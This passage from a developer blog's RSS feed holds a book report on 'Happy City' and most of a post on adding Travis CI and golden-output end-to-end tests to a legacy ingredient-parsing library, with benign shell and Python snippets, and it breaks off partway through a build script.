 srcset='https://mtlynch.io/resurrecting-3/zestful-screenshot_hu_e9ca3ee6af9479eb.png 300w, https://mtlynch.io/resurrecting-3/zestful-screenshot_hu_6613a749e2ab71b0.png 600w, https://mtlynch.io/resurrecting-3/zestful-screenshot_hu_8cc648db019c7c0.png 800w, https://mtlynch.io/resurrecting-3/zestful-screenshot.png 819w'
 src="https://mtlynch.io/resurrecting-3/zestful-screenshot.png" alt="Screenshot of Zestful ingredient parsing demo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;hr>
&lt;p>&lt;em>Cover illustration by Loraine Yow. My fork of the ingredient-phrase-tagger library is available on &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger">GitHub&lt;/a>. I offer a managed service based on this library called &lt;a href="https://zestfuldata.com">Zestful&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Zestful: Month 5</title><link>https://mtlynch.io/retrospectives/2018/08/</link><pubDate>Wed, 08 Aug 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2018/08/</guid><description>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/zestful-data-month-5-launched-but-still-no-customers-32d221561d">Zestful Month 5: Launched, but Still No Customers&lt;/a>&lt;/li>
&lt;/ul></description><content:encoded>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/zestful-data-month-5-launched-but-still-no-customers-32d221561d">Zestful Month 5: Launched, but Still No Customers&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>Happy City by Charles Montgomery</title><link>https://mtlynch.io/book-reports/happy-city/</link><pubDate>Mon, 06 Aug 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/happy-city/</guid><description>&lt;p>Given how much urban design affects our lives, it&amp;rsquo;s surprising how little we think about and participate in it. This book was eye-opening in terms of the way I look at cities and how its inhabitants interact with them.&lt;/p>
&lt;p>I took for granted the idea that cities should be friendly to car-travel, but the book highlights many ways in which a focus on car-friendliness makes cities worse overall. It was interesting to see examples of how cities can flourish when they prioritize the needs of pedestrians, bicyclists, and public transit.&lt;/p></description><content:encoded>&lt;p>Given how much urban design affects our lives, it&amp;rsquo;s surprising how little we think about and participate in it. This book was eye-opening in terms of the way I look at cities and how its inhabitants interact with them.&lt;/p>
&lt;p>I took for granted the idea that cities should be friendly to car-travel, but the book highlights many ways in which a focus on car-friendliness makes cities worse overall. It was interesting to see examples of how cities can flourish when they prioritize the needs of pedestrians, bicyclists, and public transit.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Lively style made for an engaging read&lt;/li>
&lt;li>Interesting case studies examining different angles of cities in a variety of cities around the globe.&lt;/li>
&lt;li>Good mix of scientific studies, interviews, and personal research&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>Some of the concept felt as though the author overgeneralized based on limited academic studies or anecdotal data.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;ul>
&lt;li>People are &lt;a href="http://www.people.virginia.edu/~tdw/dunn.location.pspb.2003.pdf">bad at predicting&lt;/a> which factors will make them happy with their living space
&lt;ul>
&lt;li>Aesthetics matter much less than how the living space facilitates interaction between members of the community.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>People make irrational decisions when considering car commuting time in choice of employment
&lt;ul>
&lt;li>People will commute farther for higher salaries, but fail to properly measure their net income after paying for gas, insurance, maintenance, etc.&lt;/li>
&lt;li>People also fail to predict the happiness they&amp;rsquo;ll derive by trading commute time for salary. Long commutes make people sad, so the salary bump to make it worthwhile needs to be much higher than most people think.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Most American cities were designed based on theories of urban design that were never rigorously tested and contradict modern research.
&lt;ul>
&lt;li>The grid design of streets in American cities is influenced by the design of Roman garrison towns, where one of the primary design goals was limiting rebellion.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>American cities were designed under the assumption that people want to live in one area, shop in another, and work in another.
&lt;ul>
&lt;li>This is codified in rigid zoning laws that prevent cities from growing organically based on what people need in particular areas.&lt;/li>
&lt;li>This leads to sprawl and suburbanization, forcing people to rely on driving to get around.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Greater sprawl makes it harder for cities to offer public services.
&lt;ul>
&lt;li>People expect to be happiest in big houses with big yards and lots of space from neighbors, but this leads to sparsely-occupied towns and cities.&lt;/li>
&lt;li>When communities occupy a large, sparse area, it&amp;rsquo;s more expensive to run buses, maintain roads, offer police/fire protection.&lt;/li>
&lt;li>Denser communities lead to more positive relationships with neighbors and easier lifestyle because it puts more shops and services within walking distance.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Private cars impose many external costs that are borne by the community as a whole rather than the drivers themselves.
&lt;ul>
&lt;li>&lt;a href="https://wearetraffic.org/sites/default/files/images/Bike_Car_Comparison.jpg">Take up more space per person&lt;/a> than almost all other modes of transportation, cause faster road wear, pollute the air, create noise pollution, limit places where pedestrians can walk.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There is a common notion that for an area of the city to attract people, it needs lots of road and parking access, but there have been several examples where banning cars has revitalized an area
&lt;ul>
&lt;li>e.g., &lt;a href="http://www.landezine.com/index.php/2017/04/times-square-redesign-by-snohetta-opens-today/">Times Square Plaza&lt;/a> in New York, &lt;a href="https://en.wikipedia.org/wiki/Str%C3%B8get">Strøget&lt;/a> in Copenhagen&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There&amp;rsquo;s an important distinction between &amp;ldquo;crowding&amp;rdquo; and &amp;ldquo;population density.&amp;rdquo;
&lt;ul>
&lt;li>&lt;em>Crowding&lt;/em> is a feeling. The design of a living space can increase or reduce this feeling.&lt;/li>
&lt;li>People feel crowded and stressed when they aren&amp;rsquo;t in control of their interaction (e.g., don&amp;rsquo;t have a private room, have to interact with strangers to use bathroom).&lt;/li>
&lt;li>It&amp;rsquo;s possible to design a space well so that it achieves high density without crowding.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Resurrecting a Dead Library: Part Two - Stabilization</title><link>https://mtlynch.io/resurrecting-2/</link><pubDate>Mon, 06 Aug 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/resurrecting-2/</guid><description>&lt;p>In this post, I demonstrate how to retrofit automated tests onto an untested legacy library.&lt;/p>
&lt;p>This is part two of a three-part series about how I resurrected &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger">ingredient-phrase-tagger&lt;/a>, a library that uses machine learning to parse cooking ingredients (e.g., &amp;ldquo;2 cups milk&amp;rdquo;) into structured data. Read &lt;a href="https://mtlynch.io/resurrecting-1/">part one&lt;/a> for the full context, but the short version is that I discovered an abandoned library and brought it back to life so that it could power my SaaS business:&lt;/p></description><content:encoded>&lt;p>In this post, I demonstrate how to retrofit automated tests onto an untested legacy library.&lt;/p>
&lt;p>This is part two of a three-part series about how I resurrected &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger">ingredient-phrase-tagger&lt;/a>, a library that uses machine learning to parse cooking ingredients (e.g., &amp;ldquo;2 cups milk&amp;rdquo;) into structured data. Read &lt;a href="https://mtlynch.io/resurrecting-1/">part one&lt;/a> for the full context, but the short version is that I discovered an abandoned library and brought it back to life so that it could power my SaaS business:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/resurrecting-1/">Part One: Resuscitation&lt;/a> - In which I nurse the code back to health so that it runs on any modern system&lt;/li>
&lt;li>&lt;strong>Part Two: Stabilization (this post)&lt;/strong> - In which I prevent functionality from regressing while I restore the code&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/resurrecting-3/">Part Three: Rehabilitation&lt;/a> - In which I begin refactoring the code&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/resurrecting-2/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/resurrecting-2/cover_hu_957ecb1188a656d0.jpg 300w, https://mtlynch.io/resurrecting-2/cover_hu_9ae3bcd5beed4f6d.jpg 600w, https://mtlynch.io/resurrecting-2/cover_hu_6051d9ca9ede685b.jpg 800w, https://mtlynch.io/resurrecting-2/cover.jpg 1024w'
 src="https://mtlynch.io/resurrecting-2/cover.jpg" alt="Beavers stabilizing shaky house" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="running-it-in-continuous-integration">Running it in continuous integration&lt;/h2>
&lt;p>At the end of part one, I created a Docker image that allowed the library to run on any system. The next step was to run the library in continuous integration.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img align-right" style="max-width: 300px">



 &lt;a href="https://travis-ci.org/">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/resurrecting-2/travis-ci-logo_hu_9cb0b9bfd41dffda.png 300w, https://mtlynch.io/resurrecting-2/travis-ci-logo_hu_9c5d3e75f2d1f33a.png 600w, https://mtlynch.io/resurrecting-2/travis-ci-logo.png 642w'
 src="https://mtlynch.io/resurrecting-2/travis-ci-logo.png" alt="Travis CI logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Continuous integration is the practice of using an indepedent, controlled environment to test software on each change to the code. My preferred continuous integration solution is &lt;a href="https://travis-ci.org">Travis&lt;/a>. Their configuration files are intuitive, and they offer unlimited free builds for open-source projects.&lt;/p>
&lt;p>To integrate with Travis, I added &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger">my fork of ingredient-phrase-tagger&lt;/a> on Travis&amp;rsquo; configuration page and then enabled builds:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 677px">



 &lt;a href="https://mtlynch.io/resurrecting-2/enable-travis.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 677px, 98vw"
 srcset='https://mtlynch.io/resurrecting-2/enable-travis_hu_d145dbd6bb92ee36.png 300w, https://mtlynch.io/resurrecting-2/enable-travis_hu_a3700fb863274ee1.png 600w, https://mtlynch.io/resurrecting-2/enable-travis.png 675w'
 src="https://mtlynch.io/resurrecting-2/enable-travis.png" alt="Screenshot of enabling Travis" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Enabling Travis builds for ingredient-phrase-tagger library&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Then, I created a file called &lt;code>.travis.yml&lt;/code>, which told Travis how to build the library:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yml" data-lang="yml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">sudo&lt;/span>:&lt;span style="color:#666"> &lt;/span>required&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">services&lt;/span>:&lt;span style="color:#666"> &lt;/span>docker&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>:&lt;span style="color:#666"> &lt;/span>docker build .&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/resurrecting-2/travis.yml" download class="download-raw-button">download travis.yml&lt;/a>
 &lt;/div>


&lt;p>I pushed my commit to GitHub, created a &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/pull/4">pull request&lt;/a>, and Travis &lt;a href="https://travis-ci.org/mtlynch/ingredient-phrase-tagger/builds/362818282">built it&lt;/a> successfully:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 792px">



 &lt;a href="https://mtlynch.io/resurrecting-2/first-travis-build.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 792px, 98vw"
 srcset='https://mtlynch.io/resurrecting-2/first-travis-build_hu_1b138c8993cb3e78.png 300w, https://mtlynch.io/resurrecting-2/first-travis-build_hu_37de3ad28e3e460b.png 600w, https://mtlynch.io/resurrecting-2/first-travis-build.png 790w'
 src="https://mtlynch.io/resurrecting-2/first-travis-build.png" alt="Screenshot of first successful build on Travis CI" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>First successful build on Travis&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="adding-an-end-to-end-test">Adding an end-to-end test&lt;/h2>
&lt;p>Travis was building my Docker image, but the build wasn&amp;rsquo;t meaningful yet. It only built the library&amp;rsquo;s dependencies — it didn&amp;rsquo;t exercise any of its behavior. I wanted a build that could alert me when I broke the library&amp;rsquo;s functionality. To do that, I needed an end-to-end test.&lt;/p>
&lt;p>An end-to-end test verifies that a complete, real-world scenario works as expected. It generally matches the following structure:&lt;/p>
&lt;ol>
&lt;li>Supply pre-generated input and its expected output (also known as the &amp;ldquo;golden output&amp;rdquo;).&lt;/li>
&lt;li>Use automation tools to feed the input to the library.&lt;/li>
&lt;li>Compare the library&amp;rsquo;s output to the golden output.&lt;/li>
&lt;/ol>
&lt;p>The original repository contained a script called &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger/blob/e414c2ca279f23c99c8338ceba00653d88d40dfe/roundtrip.sh">roundtrip.sh&lt;/a> that resembled an end-to-end test. It provided pre-generated input to the library, used a portion of the input to train a new machine learning model, then used that model to parse other portions of the input. The only piece missing was that it never compared results to a known-good output.&lt;/p>
&lt;h2 id="a-basic-end-to-end-test">A basic end-to-end test&lt;/h2>
&lt;p>In &lt;a href="https://mtlynch.io/resurrecting-1/">part one&lt;/a>, I showed that the &lt;code>roundtrip.sh&lt;/code> script&amp;rsquo;s final result was a set of summary statistics about the model&amp;rsquo;s performance:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Sentence-Level Stats:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> correct: 1487
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> total: 1999
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> % correct: 74.3871935968
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Word-Level Stats:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> correct: 10391
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> total: 11450
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> % correct: 90.7510917031
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That gave me enough for a simple end-to-end test. I re-ran the final step of the &lt;code>roundtrip.sh&lt;/code> script, but redirected the console output to a new file called &lt;code>tests/golden/eval_output&lt;/code> and added it to source control:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>python bin/evaluate.py tmp/test_output &amp;gt; tests/golden/eval_output
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now that I had known-good output, I modified the end of &lt;code>roundtrip.sh&lt;/code> so that it would compare all future outputs against this saved output:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>python bin/evaluate.py tmp/test_output &amp;gt; tmp/eval_output
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>diff tests/golden/eval_output tmp/eval_output
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="does-my-test-know-when-code-breaks">Does my test know when code breaks?&lt;/h2>
&lt;p>An end-to-end test is only useful if it catches bugs, so my next step was to simulate a breaking change and check if my end-to-end test caught it.&lt;/p>
&lt;p>In &lt;a href="https://github.com/NYTimes/ingredient-phrase-tagger/blob/e414c2ca279f23c99c8338ceba00653d88d40dfe/ingredient_phrase_tagger/training/cli.py#L57">cli.py&lt;/a>, there was a regular expression that matched sequences of numbers (e.g., &lt;code>&amp;quot;83625&amp;quot;&lt;/code>):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>m3 = re.&lt;span style="color:#6ab825;font-weight:bold">match&lt;/span>(&lt;span style="color:#ed9d13">&amp;#39;^\d+$&amp;#39;&lt;/span>, ss)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As an experiment, I tweaked the regular expression so that it would fail to recognize any number that included a 9:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>m3 = re.&lt;span style="color:#6ab825;font-weight:bold">match&lt;/span>(&lt;span style="color:#ed9d13">&amp;#39;^[0-8]+$&amp;#39;&lt;/span>, ss)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I then re-ran my modified &lt;code>roundtrip.sh&lt;/code> script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;text-decoration:underline">3c3
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;text-decoration:underline">&lt;/span>&lt;span style="color:#d22323">&amp;lt; correct: 1487
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="font-weight:bold">---
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="font-weight:bold">&lt;/span>&lt;span style="color:#589819">&amp;gt; correct: 1486
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span>&lt;span style="color:#fff;text-decoration:underline">5c5
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;text-decoration:underline">&lt;/span>&lt;span style="color:#d22323">&amp;lt; % correct: 74.3871935968
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="font-weight:bold">---
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="font-weight:bold">&lt;/span>&lt;span style="color:#589819">&amp;gt; % correct: 74.33716858429
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It worked!&lt;/p>
&lt;p>When I told the code that 9 was no longer considered a number, the library&amp;rsquo;s accuracy fell, and the script terminated with a failing exit code.&lt;/p>
&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;h2 id="expanding-the-end-to-end-test">Expanding the end-to-end test&lt;/h2>
&lt;p>The basic end-to-end test above was useful, but &lt;code>roundtrip.sh&lt;/code> executes a data pipeline with several stages. It would be convenient to know which particular stage broke, so I looked for more outputs to include in the end-to-end test.&lt;/p>
&lt;p>In addition to printing output to the console, the script also wrote files to a subdirectory called &lt;code>tmp/&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ file tmp/*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tmp/model_file: data
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tmp/output.html: HTML document, ASCII text, with very long lines
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tmp/test_file: ASCII text
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tmp/test_output: ASCII text
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tmp/train_file: ASCII text
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>test_file&lt;/code>, &lt;code>test_output&lt;/code>, and &lt;code>train_file&lt;/code> were all plaintext files that looked a bit like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ head -n &lt;span style="color:#3677a9">16&lt;/span> tmp/test_file
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> I1 L12 NoCAP NoPAREN B-QTY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>boneless I2 L12 NoCAP NoPAREN I-COMMENT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pork I3 L12 NoCAP NoPAREN B-NAME
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tenderloin I4 L12 NoCAP NoPAREN I-NAME
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>, I5 L12 NoCAP NoPAREN B-COMMENT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>about I6 L12 NoCAP NoPAREN I-COMMENT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> I7 L12 NoCAP NoPAREN B-QTY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pound I8 L12 NoCAP NoPAREN I-COMMENT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Salt I1 L8 YesCAP NoPAREN B-NAME
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>and I2 L8 NoCAP NoPAREN I-NAME
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>freshly I3 L8 NoCAP NoPAREN B-COMMENT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ground I4 L8 NoCAP NoPAREN I-COMMENT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>black I5 L8 NoCAP NoPAREN B-NAME
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pepper I6 L8 NoCAP NoPAREN I-NAME
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I didn&amp;rsquo;t understand the file format yet, but I didn&amp;rsquo;t have to. All I needed was a way to detect when the files changed.&lt;/p>
&lt;p>After copying these files to &lt;code>tests/golden&lt;/code>, I saved them to source control as additional golden outputs. Then, I added &lt;code>diff&lt;/code>s to my build script to detect when these output files changed.&lt;/p>
&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;h2 id="the-complete-build-script">The complete build script&lt;/h2>
&lt;p>After all my modifications to &lt;code>roundtrip.sh&lt;/code>, I saved it as a new file called &lt;code>build.sh&lt;/code>, which looked like this:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Exit build script on first failure&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -e
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Echo commands to stdout.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -x
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">COUNT_TRAIN&lt;/span>=&lt;span style="color:#3677a9">20000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">COUNT_TEST&lt;/span>=&lt;span style="color:#3677a9">2000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">OUTPUT_DIR&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp -d&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ACTUAL_CRF_TRAINING_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OUTPUT_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/training_data.crf&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ACTUAL_CRF_TESTING_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OUTPUT_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/testing_data.crf&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ACTUAL_CRF_MODEL_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OUTPUT_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/model.crfmodel&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ACTUAL_TESTING_OUTPUT_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OUTPUT_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/testing_output&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ACTUAL_EVAL_OUTPUT_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OUTPUT_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/eval_output&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bin/generate_data &lt;span style="color:#ed9d13">\
